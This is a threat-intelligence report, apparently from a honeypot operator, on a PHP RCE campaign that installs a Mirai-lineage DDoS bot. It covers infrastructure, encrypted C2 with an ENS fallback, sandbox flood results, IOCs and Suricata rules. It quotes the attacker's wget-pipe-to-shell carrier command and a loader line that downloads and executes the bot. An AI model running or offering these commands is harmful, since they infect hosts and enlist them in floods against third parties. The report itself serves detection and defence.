TLP:CLEAR

GODOFTHUNDER — PHP bailout-RCE to a Mirai DDoS bot

In-the-wild exploitation of the PHP session.upload_progress RCE family (CVE-2026-109618/109619) delivering a Mirai-lineage DDoS bot, with a live command channel and a sustained volumetric flood confirmed in sandbox

Published 2026-10-22 Source Distributed Honeypot Observations Confidence HIGH Classification Mirai-Lineage / PHP-RCE-Delivered DDoS Bot

Published 2026-10-22. Updated 2026-10-22 with independent reverse-engineering of the bot's encrypted configuration.

Executive summary

A single actor, hiding behind commercial VPN and proxy infrastructure, sprayed an unauthenticated PHP remote-code-execution payload across our sensors and, on a successful bailout, fed each one a one-line shell command. That command pulled a tiny loader, the loader pulled a 175 KB binary, and the binary turned the host into a DDoS bot. We captured every link in that chain and then detonated the final payload in a sandbox for three hours, where it phoned home to its command server and opened a sustained volumetric flood against third-party hosts in Ukraine.

Key Finding
Between 2026-10-20 and 2026-10-22, our distributed honeypot fleet captured in-the-wild exploitation of the PHP session.upload_progress lifecycle-bailout RCE family (CVE-2026-109618 / CVE-2026-109619). On a simulated bailout, the attacker delivered the carrier command wget http://92.118.112.100/s -O- | sh to multiple sensors. That retrieved a 69-byte loader, which fetched and executed a 175 KB x86-64 ELF — a Mirai-lineage DDoS bot (VirusTotal: trojan.mirai). In sandbox, the bot resolved and beaconed to thunder.godofthunder.st (categorized by Sophos as command and control) and launched a sustained flood against two adjacent hosts in a single Ukrainian /24.

This is a complete, single-session exploitation chain — PHP-RCE carrier → shell loader → bot binary → live C2 → observed attack — captured end to end against a freshly-disclosed CVE family. The carrier originated from a small number of source addresses, every one of them a datacenter IP fronted by VPN or open-proxy services. Confidence is HIGH: each stage is backed by a captured artifact, a live reputation lookup, or direct sandbox observation.

Reversing the bot further raised our assessment of it. Its command-and-control configuration is encrypted with ChaCha20 and hides more than the single domain we saw at runtime: two backup domains and, notably, an on-chain fallback — the bot can resolve its current C2 from an Ethereum Name Service (ENS) record read through public Ethereum RPC endpoints, a channel that domain takedowns and IP blocklists cannot reach. We recovered the full configuration independently by decrypting it from our own copy of the sample (see Malware analysis).

3
Carrier Source IPs
79
PHP-RCE Events
2
Stages Captured
5/65
VT Binary Detections
7/92
VT Dropper-IP Detections
3h
Sandbox Flood Observed

Threat actor profile

The operator runs a commodity DDoS-for-hire style botnet built on the Mirai code lineage, delivered opportunistically against freshly-disclosed web RCE. The distinguishing features of this campaign are the delivery vector — a very recent PHP bailout-RCE family rather than the usual IoT credential or router-CVE routes — and the godofthunder branding carried through the C2 domain and a bot banner string.

AttributeAssessment
Family / lineageMirai lineage (VT trojan.mirai; TrendMicro Backdoor.Linux.MIRAI.Q)
IntentVolumetric DDoS (direct UDP / TCP network floods)
DeliveryPHP session.upload_progress bailout RCE (CVE-2026-109618 / CVE-2026-109619)
Operational securityCarrier IPs all datacenter-hosted, fronted by VPN / open-proxy services (see Infrastructure)
BrandingC2 domain godofthunder.st; embedded banner string i need water
SophisticationModerate: Mirai-lineage flood core, but with a ChaCha20-encrypted config, dual binary/HTTP C2 transports, and an ENS on-chain C2-fallback that resists domain/IP takedown — above commodity Mirai

Infrastructure

The chain spans four distinct pieces of attacker infrastructure: the carrier source IPs, a payload distribution host, the bot C2, and the DDoS victims. Reputation and network-context figures below are from live VirusTotal and spur.us lookups performed 2026-10-22.

  carrier source IPs                 distribution host            bot C2                      flood victims
  (VPN / open-proxy fronted)
  85.11.167.243  ─┐
  217.60.242.76  ─┼──PHP-RCE──▶  92.118.112.100  ──▶  thunder.godofthunder.st     45.88.138.0   (UA)
  45.198.224.169 ─┘             (/s loader, /nfs bot)   = 134.199.154.64:50792  ──▶ 45.88.138.44  (UA)
                                 VT 7/92 malicious       (DigitalOcean; C2 beacon)
    
NodeRoleNetwork (live)VT (2026-10-22)
92.118.112.100Payload distribution (/s, /nfs)AS215540 Global Connectivity Solutions Llp7 malicious / 1 suspicious of 92
thunder.godofthunder.stBot C2 (FQDN)resolved to 134.199.154.64 at detonation2 malicious / 2 suspicious; Sophos command and control
godofthunder.stC2 apex domain—2 malicious / 1 suspicious; Sophos spyware and malware
134.199.154.64C2 beacon IP (port 50792)AS14061 DigitalOcean (datacenter)0 malicious of 92 (clean host)
45.88.138.0Flood victimAS213737 Ayosoft Ltd (UA)0 malicious / 1 suspicious
45.88.138.44Flood victim (same /24)AS213737 Ayosoft Ltd (UA)—

Every carrier source address is a datacenter IP fronted by anonymization services, consistent with an operator renting short-lived proxy egress rather than exposing origin infrastructure:

Carrier IPspur.us organizationspur.us client behaviors
85.11.167.243TechTies Inc. (datacenter)STRONG_VPN_USER, GFW_GENERIC_PROXY_USER, KOOKEEY_PROXY_USER
217.60.242.76Cat Communication Networks LTD (datacenter)OPEN_PROXY_USER, OPEN_ROUTABLE_PROXY_USER, GFW_GENERIC_PROXY_USER
45.198.224.169VPSVAULT.HOST LTD (datacenter)—

The C2 FQDN resolves clean on its underlying host (a DigitalOcean address) even though the domain itself is flagged — a deliberate split that keeps the beacon endpoint off IP blocklists while the domain carries the reputation. The distribution host, by contrast, is already community-flagged at 7/92.

Command-and-control is multi-tier and takedown-resistant

Decrypting the bot's configuration (below) shows the single domain our sandbox contacted is only the first of three resolution tiers. In descending order of what we observed:

  1. Primary DNS — thunder.godofthunder.st, stored eight times in the config's C2 ring. This is the only tier our runtime capture exercised.
  2. Backup domains — hackattackkaboom.botlesscucks.st and hik.gettingheadfromduckysmom.st (same .st TLD, same themed naming). Present in the config; not contacted during our run.
  3. On-chain ENS fallback — the config carries two Ethereum Name Service names (2sexy4u.eth, sushiconsumer.eth), seven public Ethereum RPC endpoints, and the ENS resolver and registry contract addresses. If DNS fails, the bot reads its current C2 endpoint from an ENS record on the Ethereum blockchain. Because the operator can update that record on-chain and there is no domain or IP for a registrar or host to seize, this fallback survives conventional sinkholing and takedown.

The bot speaks two transports: a framed binary TCP protocol (4-byte magic, 1-byte command, 2-byte big-endian length; command bytes 0x01 exec/pty, 0x03 data, 0x04 control/close) — this is what we saw on the beacon to 134.199.154.64:50792 — and an HTTP channel (POST /client, GET /info.json, with method=getEndpoints / method=getConfiguration token-authenticated calls). Channel auth labels are bot-rx-v1 / bot-tx-v1 / bot-auth-v1.

Static vs observed
The backup domains, the ENS fallback, and the HTTP transport are capabilities recovered by decrypting the binary, not behavior our three-hour capture triggered. The bot used only the primary DNS host and the binary TCP channel while under our observation; the rest are dormant paths the C2 never tasked.

Malware analysis

The chain delivers two artifacts. The first is a 69-byte ASCII loader fetched by the carrier; the second is the DDoS bot it installs.

Stage 1 — loader (/s)

SHA-256 4d02f14d109458cb0d696b65456918fcd724ca385aa30c688f08554c8899938c, 69 bytes, ASCII text. Full content as captured:

cd /tmp; wget http://92.118.112.100/nfs ;chmod 777 nfs; ./nfs x86_64;

A minimal single-architecture installer: fetch the bot, make it world-executable, run it with an architecture argument (x86_64). The explicit arch argument is a Mirai-family convention — the same distribution host typically serves per-architecture binaries invoked by name.

Stage 2 — DDoS bot (/nfs)

SHA-256 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486, 179,632 bytes, ELF 64-bit LSB executable, x86-64.

SourceResult (2026-10-22)
VirusTotal5 / 65 malicious; popular threat name trojan.mirai; TrendMicro Backdoor.Linux.MIRAI.Q, Kaspersky UDS:Trojan.Linux — VT report
Embedded bannerRuntime stdout contained the branding string i need water
C2Resolves thunder.godofthunder.st, beacons to 134.199.154.64:50792

The low VT score (5/65) reflects a freshly-distributed sample — it was unknown to VirusTotal by hash until submitted as part of this investigation — not a benign file; behavior in sandbox is unambiguously that of a volumetric flood bot.

Encrypted configuration — recovered independently

The bot's entire C2 configuration is encrypted, which is why a plain string dump of the 1,560-entry table shows none of the domains, endpoints, or protocol labels discussed above. We recovered it ourselves from our own copy of the sample (SHA-256 0c5486f0…) by reversing the decryptor rather than trusting any third-party analysis, and every address below is cited so the result can be reproduced.

Decrypted, the config yields the three-tier C2 (Infrastructure), the ENS resolver contract 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e and registry 0xF29100983E058B709F3D539b0c765937B804AC15, and the HTTP/binary transport strings. Every value cited here — the ChaCha sigil, the key and nonce, and each decrypted string — was recovered directly from the raw binary rather than read from a decompiler's reconstruction.

Sandbox detonation

We detonated the x86-64 bot in an isolated, network-contained sandbox (egress via an anonymizing tunnel, United States exit) for a full three-hour run on 2026-10-22 (13:20:26–16:20:34 UTC, 10,800 s execution budget). The sample booted, executed cleanly, and ran for the entire budget.

On startup it issued a single DNS query for thunder.godofthunder.st, resolved it to 134.199.154.64, and established a command channel to that host on TCP port 50792. It then opened a sustained volumetric flood against two adjacent hosts in a single Ukrainian /24:

TargetDistinct destination ports hitRole
45.88.138.0101Primary flood victim
45.88.138.44100Secondary flood victim (same /24)

The flood sprayed traffic across randomized high destination ports on each target (101 distinct ports on 45.88.138.0, 100 on 45.88.138.44), the hallmark of a direct network-flood module rather than a service-specific attack. The three-hour capture totalled 21.14 million packets / 15.72 GB, dominated by flood traffic across three protocols: TCP 8.49 M packets (7.10 GB), UDP 7.96 M packets (6.22 GB), and ICMP 4.69 M packets (2.41 GB). Outbound volume was rate-limited by the sandbox's egress fence, so these figures represent what the bot attempted, floored by that cap, not line-rate output.

Containment
All detonation egress runs through an isolated tunnel with an outbound rate limit and a flood fence; the sandbox is not a honeypot and never relays attacker traffic at volume. Figures are derived from the local capture, which records attempted traffic before the fence drops it.

Observed TTPs — MITRE ATT&CK

TechniqueNameEvidence
T1190Exploit Public-Facing ApplicationPHP session.upload_progress bailout RCE (CVE-2026-109618/109619)
T1059.004Command and Scripting Interpreter: Unix ShellCarrier wget … | sh; shell loader /s
T1105Ingress Tool TransferTwo-stage wget retrieval of loader then bot binary
T1571Non-Standard PortC2 beacon on TCP 50792
T1071.004Application Layer Protocol: DNSC2 endpoint resolved via DNS lookup of thunder.godofthunder.st
T1498Network Denial of ServiceSustained volumetric flood observed in sandbox
T1498.001Direct Network FloodRandomized-port flood against two UA hosts
T1090ProxyCarrier IPs fronted by VPN / open-proxy services (spur.us)
T1573Encrypted ChannelChaCha20-encrypted C2 configuration (FUN_0040d6c6) + single-byte XOR layer
T1008Fallback ChannelsThree-tier C2: primary DNS, two backup domains, on-chain ENS fallback
T1568Dynamic ResolutionC2 endpoint resolvable from an ENS record via public Ethereum RPC
T1102Web ServicePublic Ethereum RPC providers used as resolution infrastructure
T1027Obfuscated Files or InformationChaCha20 sigil stored XOR-0xa5 obfuscated to defeat constant scanning

Timeline

Timestamp (UTC)Event
2026-10-20 20:41First PHP bailout-RCE event of this campaign observed
2026-10-22 13:05:12Loader /s captured (carrier delivered to multiple sensors)
2026-10-22 13:06:03Bot binary /nfs captured via chase of the loader's embedded URL
2026-10-22 13:20:26Sandbox detonation begins (3-hour run)
2026-10-22 ~13:20Bot resolves thunder.godofthunder.st, beacons to 134.199.154.64:50792, opens flood
2026-10-22 14:28Latest PHP bailout-RCE event at time of writing (campaign ongoing)
2026-10-22 16:20:34Detonation ends (full budget, clean exit)

Exploit payloads

Carrier command delivered on a successful PHP bailout, captured verbatim across multiple sensors:

wget http://92.118.112.100/s -O- | sh

Representative PHP session.upload_progress request shapes captured from the primary carrier IP:

/index.php      PHPSESSID=a1b2c3d4e5f6a7b8c9d0e1f2a3 filename="a" filename="b"
/wp-login.php   PHPSESSID=attacksessionid0001        filename="a" filename="b"
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php PHPSESSID=a1b2c3d4e5f6a7b8c9d0e1f2a3 filename="a" filename="b"

Stage-1 loader body (/s):

cd /tmp; wget http://92.118.112.100/nfs ;chmod 777 nfs; ./nfs x86_64;

Indicators of compromise

IPv4

IPRole
92.118.112.100Payload distribution host (/s, /nfs)
134.199.154.64C2 beacon (TCP 50792)
45.88.138.0DDoS victim
45.88.138.44DDoS victim
85.11.167.243Carrier source (VPN/proxy)
217.60.242.76Carrier source (open proxy)
45.198.224.169Carrier source (datacenter)
62.244.87.221Single-contact endpoint, role uncertain (low confidence)

Domains

DomainRole
thunder.godofthunder.stBot C2 FQDN (primary, runtime-observed)
godofthunder.stC2 apex
hackattackkaboom.botlesscucks.stBackup C2 domain (config, not observed)
hik.gettingheadfromduckysmom.stBackup C2 domain (config, not observed)

On-chain C2 fallback (from decrypted config)

IndicatorRole
2sexy4u.ethENS name encoding a fallback C2
sushiconsumer.ethENS name encoding a fallback C2
0x00000000000C2E074eC69A0dFb2997BA6C7d2e1eENS public resolver contract
0xF29100983E058B709F3D539b0c765937B804AC15ENS registry contract
ethereum.publicnode.com, ethereum-rpc.publicnode.com, eth.drpc.org, 1rpc.io, eth-mainnet.blockreq.com, ethereum-public.nodies.app, rpc.mevblocker.ioPublic Ethereum RPC endpoints used to read the ENS records (legitimate services abused as resolution infrastructure)

URLs

URLRole
http://92.118.112.100/sStage-1 loader
http://92.118.112.100/nfsStage-2 bot binary

File hashes (SHA-256)

SHA-256File
4d02f14d109458cb0d696b65456918fcd724ca385aa30c688f08554c8899938cLoader /s (69 B, ASCII)
0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486Bot /nfs (179,632 B, ELF x86-64)

Host artifacts

Mitigations and detection

Patch PHP to a release fixing the session.upload_progress bailout family (CVE-2026-109618 / CVE-2026-109619 — CVE-2026-109618, CVE-2026-109619). Block egress to the distribution host and C2, and alert on the carrier shape. Note the limits of DNS and IP blocking against this family: the backup domains and the ENS on-chain fallback mean a complete block requires also denying unexpected egress to public Ethereum RPC providers, and the C2 endpoint can be rotated on-chain without the operator touching DNS. Defenders who permit outbound Web3 RPC from server workloads should treat it as a C2-resolution channel here.

Suricata coverage for the carrier retrieval, the DNS tiers, and the C2 beacon:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"GODOFTHUNDER php2shell loader retrieval"; \
  flow:established,to_server; http.method; content:"GET"; \
  http.uri; content:"/s"; http.host; content:"92.118.112.100"; \
  classtype:trojan-activity; sid:4700001; rev:1;)

alert dns $HOME_NET any -> any any (msg:"GODOFTHUNDER C2 DNS lookup (primary or backup)"; \
  dns.query; pcre:"/(godofthunder\.st|botlesscucks\.st|gettingheadfromduckysmom\.st)$/i"; \
  classtype:command-and-control; sid:4700002; rev:2;)

alert tcp $HOME_NET any -> 134.199.154.64 50792 (msg:"GODOFTHUNDER C2 beacon"; \
  flow:to_server; classtype:command-and-control; sid:4700003; rev:1;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"GODOFTHUNDER HTTP C2 channel"; \
  flow:established,to_server; http.uri; content:"/info.json"; \
  http.request_body; content:"method=getEndpoints"; \
  classtype:command-and-control; sid:4700004; rev:1;)

Methodology

Data was collected by a distributed SSH/Telnet and web-application honeypot fleet deployed across multiple cloud providers and geographic regions, aggregating events in near-real-time. Web-application sensors emulate a vulnerable PHP application and capture the carrier command an attacker runs on a successful RCE bailout; the embedded download URLs are then automatically retrieved so the dropped artifacts are captured rather than merely logged. Captured binaries are detonated in an isolated, rate-limited, network-contained sandbox.

For each event we record source IP, request shape, captured payload, and timestamp. Every quantitative claim in this brief — event counts, file sizes and hashes, VirusTotal and spur.us results, DNS and flood behavior, and packet/byte totals — was re-derived from a primary source (sensor records, the captured files, live reputation APIs, and the sandbox packet capture) at the time of writing.